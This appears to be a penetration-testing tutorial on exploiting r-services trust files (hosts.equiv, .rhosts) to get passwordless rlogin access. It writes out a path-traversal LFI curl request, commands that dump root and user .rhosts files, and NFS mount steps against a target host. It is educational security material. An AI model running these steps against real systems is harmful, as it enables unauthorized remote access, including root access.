Skip to content
HackIndex logo

HackIndex

R-Services Trust Misconfiguration

3 min read Mar 30, 2026

R-services trust is controlled by two files: /etc/hosts.equiv applies system-wide trust for all users, and ~/.rhosts applies per-user trust. A wildcard or overly broad entry in either file grants passwordless remote access to any matching host or user. Finding these files readable — typically via another access vector like NFS, LFI, or SSH — reveals the full trust map and explains why rsh or rlogin succeeds without credentials.

hosts.equiv — System-Wide Trust

If you have read access to the target filesystem via NFS, LFI, or an existing shell, check the system-wide trust configuration first:

┌──(kali㉿kali)-[~]
└─$ cat /etc/hosts.equiv 
+ +
10.10.10.0/24
trustedhost.company.com

+ + is the most dangerous possible entry — it means any host, any user, is trusted to connect without a password. This is unauthenticated remote access for every account on the system. A CIDR block means any host in that subnet is trusted. A single hostname trusts all users on that specific host.

Read hosts.equiv via LFI when direct filesystem access is not available:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP/index.php?page=../../etc/hosts.equiv" 
+ +

.rhosts — Per-User Trust

Individual users can define their own trust in ~/.rhosts. The root .rhosts is the highest value target — it grants passwordless root access:

┌──(kali㉿kali)-[~]
└─$ cat /root/.rhosts 
+ +
┌──(kali㉿kali)-[~]
└─$ # Check all home directories for .rhosts files
┌──(kali㉿kali)-[~]
└─$ find /home /root -name '.rhosts' -readable 2>/dev/null | while read f; do echo "=== $f ==="; cat "$f"; done 
=== /root/.rhosts ===
+ +
=== /home/alice/.rhosts ===
10.10.14.5 alice
Explain command
/home /root Search paths: all user home dirs and root's home directory.
-name '.rhosts' Match files named exactly '.rhosts'.
-readable Filter results to only files readable by the current user.
2>/dev/null Suppress permission-denied and other error messages.

alice's .rhosts trusting a specific IP and username means only connections from 10.10.14.5 as user alice are trusted for that account. Check whether your Kali IP matches — if it does, rlogin as alice works without a password from your position.

Read .rhosts via NFS

When NFS exports home directories, .rhosts files are often readable without any shell access:

┌──(kali㉿kali)-[~]
└─$ showmount -e $TARGET_IP 
/home *
/root *
Explain command
-e Show the NFS server's export list on the target host.
$TARGET_IP Placeholder for the target host's IP address.
┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/nfs_home && mount -t nfs $TARGET_IP:/home /tmp/nfs_home -o nolock
┌──(kali㉿kali)-[~]
└─$ find /tmp/nfs_home -name '.rhosts' 2>/dev/null | xargs cat 
+ +
Explain command
/tmp/nfs_home Local directory created as the NFS mount point
-t nfs Specifies the filesystem type to mount as NFS
$TARGET_IP:/home Remote NFS export path on the target host to mount
/tmp/nfs_home Local mount point where the NFS share is attached
-o nolock Disables NFS file locking, useful for older NFS servers
/tmp/nfs_home Root directory to search for .rhosts files
-name '.rhosts' Matches files named exactly .rhosts
2>/dev/null Suppresses stderr output by redirecting to null
xargs cat Passes found file paths to cat to display their contents

Trust File Syntax Reference

Entry

Effect

+ +

Any host, any user trusted — fully open

hostname

All users on that host trusted

hostname username

Specific user on specific host trusted

+ username

That username trusted from any host

-hostname

Explicit deny for that host

References